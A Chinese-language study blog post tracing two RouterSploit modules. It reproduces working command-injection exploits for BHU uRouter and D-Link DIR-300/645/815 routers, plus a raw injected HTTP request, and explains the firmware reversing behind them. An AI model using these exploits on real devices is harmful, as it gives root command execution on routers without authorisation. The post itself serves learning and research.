# Trace module codes in routersploit 上禮拜自己寫了一個poc,可是那個poc只是一般的telnet的偵測。所以這個禮拜我想要把routersploit裡面的rce_module都trace一下,可以知道已經寫好的module是怎麼寫的,然後之後自己可以的話,可以再寫另一個是rce的poc。 ## routersploit/routersploit/modules/exploits/routers/bhu/bhu_urouter_rce.py ```python= from routersploit.core.exploit import * from routersploit.core.http.http_client import HTTPClient class Exploit(HTTPClient): __info__ = { "name": "BHU uRouter RCE", "description": "Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which " "allows executing commands on the router with root privileges.", "authors": ( "Tao 'depierre' Sauvage", ), "references": ( "http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf", ), "devices": ( "BHU uRouter", ), } target = OptIP("", "Target IPv4 or IPv6 address") port = OptPort(80, "Target HTTP port") def run(self): if self.check(): print_success('Target is vulnerable') print_status('Blind command injection - response is not available') print_status('Possible extraction point:') print_status('\t- Inject "CMD &gt; /usr/share/www/routersploit.check"') print_status('\t- The result of CMD will be available at {}:{}/routersploit.check'.format(self.target, self.port)) print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...") shell(self, architecture="mipsbe") else: print_error('Target is not vulnerable') def execute(self, cmd): headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'} data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd) self.http_request( method="POST", path="/cgi-bin/cgiSrv.cgi", headers=headers, data=data ) return '' # Blind RCE so no response available @mute def check(self): headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'} data = '<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>' # Blind unauth RCE so we first create a file in the www-root directory cmd_echo = data.format(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check') response = self.http_request( method="POST", path="/cgi-bin/cgiSrv.cgi", headers=headers, data=cmd_echo ) if not response or u'status="doing"' not in response.text: return False # Second we check that the file was successfully created response = self.http_request( method="GET", path="/routersploit.check", ) if not response.status_code == 200 or u'root' not in response.text: return False # Third we clean up the temp file. No need to check if successful since we already check that the device was # vulnerable at this point. cmd_rm = data.format("rm -f /usr/share/www/routersploit.check") self.http_request( method="POST", path="/cgi-bin/cgiSrv.cgi", headers=headers, data=cmd_rm ) return True ``` 這邊是參考[這個](https://www.cnblogs.com/k1two2/p/5808839.html),所以才知道說他的payload為什麼要這樣下。他大概就是reverse了整個firmware。 一開始發現是用U-boot,所以就可以先看一下`printenv`,之後發現他在開始前面的引導之後,就會call`/sbin/init`,所以就用setenv把`/sbin/init`改成`bin/sh`,這樣就可以run built-in的shell了。之後就`ls`,然後把整個dict都dump出來,就可以開始reverse他的firmware了,雖然我不太會reverse,但是因為他是mips的arch,所以我在他的指示之下,勉強還是看得懂他想要解釋的是什麼~ 在上面這個poc裡面,他想要達成的其實就是下面的這個request: ``` POST /cgi-bin/cgiSrv.cgi HTTP/1.1 Host: 192.168.62.1 Content-Type: text/xml X-Requested-With: XMLHttpRequest Content-Length: 59 Connection: close <cmd> <ITEM cmd="traceroute" addr="$(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check')" /> </cmd> ``` 註: `&quot;` -> `"` `&gt;` -> `>` ## routersploit/routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py 這是另外一個rce的洞,一樣有找到可以參考的[資料](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html),發現他的cgibin這個binary裡面,有一個部分就是有處理upnp的ssdp request,在ssdp的discovery request底下,有幾個header要set,可以參考[這邊](https://mzh.io/ssdp%E5%8D%8F%E8%AE%AE%E7%AC%94%E8%AE%B0/),大概有ST、MX、MAN…。然後其中的ST(設定搜尋條件)的header,可以造成injection的攻擊,下面就是他的code: ```python= 1 from routersploit.core.exploit import * 2 from routersploit.core.udp.udp_client import UDPClient 3 4 5 class Exploit(UDPClient): 6 __info__ = { 7 "name": "D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE", 8 "description": "Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.", 9 "authors": ( 10 "Zachary Cutlip", # vulnerability discovery 11 "Marcin Bury <marcin[at]threat9.com>", # routersploit module 12 ), 13 "references": ( 14 "https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection", 15 "http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html", 16 "https://www.exploit-db.com/exploits/34065/", 17 ), 18 "devices": ( 19 "D-Link DIR-300", 20 "D-Link DIR-645", 21 "D-Link DIR-815", 22 ) 23 } 24 25 target = OptIP("", "Target IPv4 or IPv6 address") 26 port = OptPort(1900, "Target UPNP port") 27 28 def run(self): 29 if self.check(): 30 print_success("Target seems to be vulnerable") 31 print_status("Invoking command loop...") 32 print_status("It is blind command injection, response is not available") 33 shell(self, architecture="mipsle") 34 else: 35 print_error("Exploit failed - target seems to be not vulnerable") 36 37 def execute(self, cmd): 38 cmd = bytes(cmd, "utf-8") 39 40 request = ( 41 b"M-SEARCH * HTTP/1.1\r\n" + 42 b"Host:239.255.255.250:1900\r\n" + 43 b"ST:uuid:`" + cmd + b"`\r\n" + 44 b"Man:\"ssdp:discover\"\r\n" + 45 b"MX:2\r\n\r\n" 46 ) 47 48 udp_client = self.udp_create() 49 udp_client.send(request) 50 udp_client.close() 51 52 return "" 53 54 @mute 55 def check(self): 56 request = ( 57 b"M-SEARCH * HTTP/1.1\r\n" 58 b"Host:239.255.255.250:1900\r\n" 59 b"ST:upnp:rootdevice\r\n" 60 b"Man:\"ssdp:discover\"\r\n" 61 b"MX:2\r\n\r\n" 62 ) 63 64 udp_client = self.udp_create() 65 66 if udp_client: 67 udp_client.send(request) 68 response = udp_client.recv(65535) 69 udp_client.close() 70 71 if response and b"Linux, UPnP/1.0, DIR-" in response: 72 return True # target is vulnerable 73 74 return False # target is not vulnerable ~ ``` 然後總結一下這個禮拜我在trace code的心得,我覺得單看他們的code其實有時候是很難理解說他們為什麼在某個地方下payload,就可以觸發vlun,然後回頭看一下原因,十有八九都是因為reverse的結果,所以我覺得自己應該也要可以去跟著去reverse他們說的那邊binary,這樣才能去知道說一個漏洞可以怎麼被發現,這大概是我這個禮拜trace完的心得。